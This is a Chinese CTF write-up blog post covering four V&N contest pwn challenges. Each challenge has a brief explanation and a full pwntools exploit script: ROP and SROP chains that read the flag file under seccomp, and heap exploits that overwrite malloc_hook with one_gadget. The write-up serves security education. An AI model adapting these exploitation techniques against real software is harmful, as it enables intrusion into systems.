目录
  1. 1. V&N招新赛writeup
    1. 1.1. warmup
      1. 1.1.1. exp
    2. 1.2. babypwn
      1. 1.2.1. exp
    3. 1.3. simpleHeap
      1. 1.3.1. exp
    4. 1.4. easy_heap
V&N招新赛writeup

V&N招新赛writeup

参考链接:https://www.lhyerror404.cn/2020/03/01/vn-%e8%80%83%e6%a0%b8%e8%b5%9b-writeup/

warmup

题目首先给了puts函数的地址,可得出libc基址,比赛的时候老想着用栈迁移,但stack_addr是随机的,难度比较大。赛后看了小蓝师傅的博客,又学到了新姿势,返回地址覆盖成ret之后,执行两次ret,刚好返回到第一次输入的地方。然后进行ROP,这题用了prtctl函数把execve禁了,可以用open(flag),read(flag,libc_addr+0x3C6500,0x40),write(1,flag,0x40)获取到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import sys
context.log_level = 'debug'


if sys.argv[1]=="l":
p=process('./vn_pwn_warmup')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p=remote('vn.node3.buuoj.cn',52275)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf=ELF('./vn_pwn_warmup')
p.recvuntil("gift: 0x")

puts_addr=int(p.recv(12),16)
info(hex(puts_addr))
#pause()
libc_addr=puts_addr-libc.sym['puts']
info(hex(libc_addr))
#gdb.attach(p)
p.recvuntil('Input something: ')
pop_rdi=0x21102
pop_rsi=0x202e8
pop_rax=0x33544
pop_rdx=0x1b92
syscall_ret=0xbc375
ret=0x937
payload = p64(libc_addr+pop_rdi)+p64(0)+p64(libc_addr+pop_rsi)+p64(libc_addr+0x3C6500)+p64(libc_addr+pop_rdx)+p64(0x40)+p64(libc_addr+libc.sym['read'])
payload += p64(libc_addr+pop_rdi)+p64(libc_addr+0x3C6500)+p64(libc_addr+pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open'])
payload += p64(libc_addr+pop_rdi)+p64(3)+p64(libc_addr+pop_rsi)+p64(libc_addr+0x3C6600)+p64(libc_addr+pop_rdx)+p64(0x40)+p64(libc_addr+libc.sym['read'])
payload += p64(libc_addr+pop_rdi)+p64(1)+p64(libc_addr+pop_rsi)+p64(libc_addr+0x3C6600)+p64(libc_addr+pop_rdx)+p64(0x40)+p64(libc_addr+libc.sym['write'])
p.send(payload)

p.recvuntil('name?')
payload='a'*0x70+p64(0)+p64(libc_addr+ret)
p.send(payload)
sleep(0.1)
p.send('flag\x00\x00\n')
print p.recv()
p.close()

babypwn

SROP参考:https://wiki.x10sec.org/pwn/stackoverflow/advanced_rop/#srop
这道题还是借鉴小蓝师傅的做法
程序调用了syscall(15,&buf),当系统调用号为15时,程序会调用_rt_sigreturn并将我们的输入作为frame传入。然后就可以伪造frame,利用SROP执行read,在libc + 0x3C6500的rw-段布置ROP chain,并返回到其位置执行ORW攻击,程序开启了Sandbox不能执行execve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
seccomp-tools dump ./vn_pwn_babypwn_1 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000009 if (A == mmap) goto 0015
0006: 0x15 0x08 0x00 0x0000000a if (A == mprotect) goto 0015
0007: 0x15 0x07 0x00 0x00000029 if (A == socket) goto 0015
0008: 0x15 0x06 0x00 0x0000002a if (A == connect) goto 0015
0009: 0x15 0x05 0x00 0x00000031 if (A == bind) goto 0015
0010: 0x15 0x04 0x00 0x00000032 if (A == listen) goto 0015
0011: 0x15 0x03 0x00 0x00000038 if (A == clone) goto 0015
0012: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0015
0013: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

vn_pwn_babypwn_1=ELF('./vn_pwn_babypwn_1', checksec = False)

if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
else:
return process("./vn_pwn_babypwn_1")

def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
log.success(info+str(hex(return_address+offset)))
return return_address+offset

def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()

if __name__ == "__main__":
sh = get_sh()
get_gdb(sh)
libc.address = get_address(sh,'The libc base address is ','Here is my gift: 0x','\n',-libc.symbols['puts'],True)
sh.recvuntil('Please input magic message: ')
fake_frame = p64(0) * 12
fake_frame += p64(0) # RDI = RAX
fake_frame += p64(0) # RSI = RDI
fake_frame += p64(0) # RBP
fake_frame += p64(0) # RBX
fake_frame += p64(libc.address + 0x3C6500 - 0x10) # RDX = RSI
fake_frame += p64(0) # RAX
fake_frame += p64(0x100) # RCX = RDX
fake_frame += p64(libc.address + 0x3C6500) # RSP
fake_frame += p64(libc.symbols['syscall']) # RIP
fake_frame += p64(0) # eflags
fake_frame += p64(0x33) # cs : gs : fs
fake_frame += p64(0) * 7
# get_gdb(sh)
sh.send(fake_frame)
ROP_chain = '/flag\x00\x00\x00'
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x0000000000021102)
ROP_chain += p64(libc.address + 0x3C6500 - 0x10)
ROP_chain += p64(libc.address + 0x00000000000202e8)
ROP_chain += p64(0)
ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(libc.address + 0x0000000000021102)
ROP_chain += p64(3)
ROP_chain += p64(libc.address + 0x00000000000202e8)
ROP_chain += p64(libc.address + 0x3C6700)
ROP_chain += p64(libc.address + 0x0000000000001b92)
ROP_chain += p64(0x100)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(libc.address + 0x0000000000021102)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x00000000000202e8)
ROP_chain += p64(libc.address + 0x3C6700)
ROP_chain += p64(libc.address + 0x0000000000001b92)
ROP_chain += p64(0x100)
ROP_chain += p64(libc.symbols['write'])
#raw_input('>')
sh.send(ROP_chain)
print sh.recv()

simpleHeap

off-by-one漏洞,利用堆块重叠修改下一个堆块的size,造成overlap,可leak出libc_addr,再利用overlap进行fastbin attack,修改malloc_hook为one_gadget。但是此处所有的one_gadget条件均不满足,因此需要利用realloc函数调整栈帧。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
import sys
#context.log_level = 'debug'
if sys.argv[1]=="l":
p=process('./vn_pwn_simpleHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p=remote('vn.node3.buuoj.cn',52145)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

e=ELF('./vn_pwn_simpleHeap')
def show(index):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(index))

def add(lenght,cont):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('?')
p.sendline(str(lenght))
p.recvuntil(':')
p.send(cont)
def edit(index,cont):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(index))
p.recvuntil(':')
p.send(cont)
def delete(num):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('?')
p.sendline(str(num))

add(0x18,'\x00') # 0
add(0x58,'\x00') # 1
add(0x68,'\x00') # 2
add(0x10,'\x00') # 3

# chunk overlap
edit(0,'\x00'*0x18+'\xd1')
delete(1)

add(0x10,'A') # 1
show(1)
libc_base = u64(p.recv(6).ljust(8,'\x00')) -0x3c4c41
print hex(libc_base)

malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4526a
realloc = libc_base + libc.sym['__libc_realloc']

# free fastbin
delete(2)


add(0x50,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23))

add(0x68,'\x00')
add(0x68,'\x00'*11+p64(one_gadget)+p64(realloc+14))

p.sendlineafter('choice: ','1')
p.sendlineafter('size?',str(10))


p.interactive()

easy_heap

ubuntu18.04的uaf漏洞,有tcache机制,限制了free的次数为3,申请一个0x88的堆块释放两次,可以先利用Tcache dup泄露Heap address,然后再申请劫持Tcache structure,向任意地址读写,向malloc_hook写one_gadget完成利用,但是此处所有的one_gadget条件均不满足,因此需要利用realloc函数调整栈帧才能利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

def add(size):
p.sendlineafter('choice: ','1')
p.sendlineafter('size?',str(size))


def edit(idx,content):
p.sendlineafter('choice: ','2')
p.sendlineafter('idx?',str(idx))
p.sendafter('content:',content)

def show(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('idx?',str(idx))

def free(idx):
p.sendlineafter('choice: ','4')
p.sendlineafter('idx?',str(idx))


libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
p = process('vn_pwn_easyTHeap')

add(0x88) # 0
add(0x88) # 1

free(0)
free(0)
show(0)

heap_addr=u64(p.recv(6).ljust(8,'\x00'))
success('{} => {:#x}'.format('heap_addr',heap_addr))
add(0x88) #2
edit(2,p64(heap_addr-0x250))

add(0x88) # 3
add(0x88) # 4
edit(4,'\x07'*8)

free(0)
show(0)

libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3ebca0
success('{} => {:#x}'.format('libc_base',libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4f322

realloc = libc_base + libc.sym['__libc_realloc']

edit(4,'\x07'*8+p64(0)*12+p64(malloc_hook-0x8))
#dbg()
add(0x68) # 5
edit(5,p64(one_gadget)+p64(realloc+8))

add(0x66)

p.interactive()


# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/03/02/V&N招新赛writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝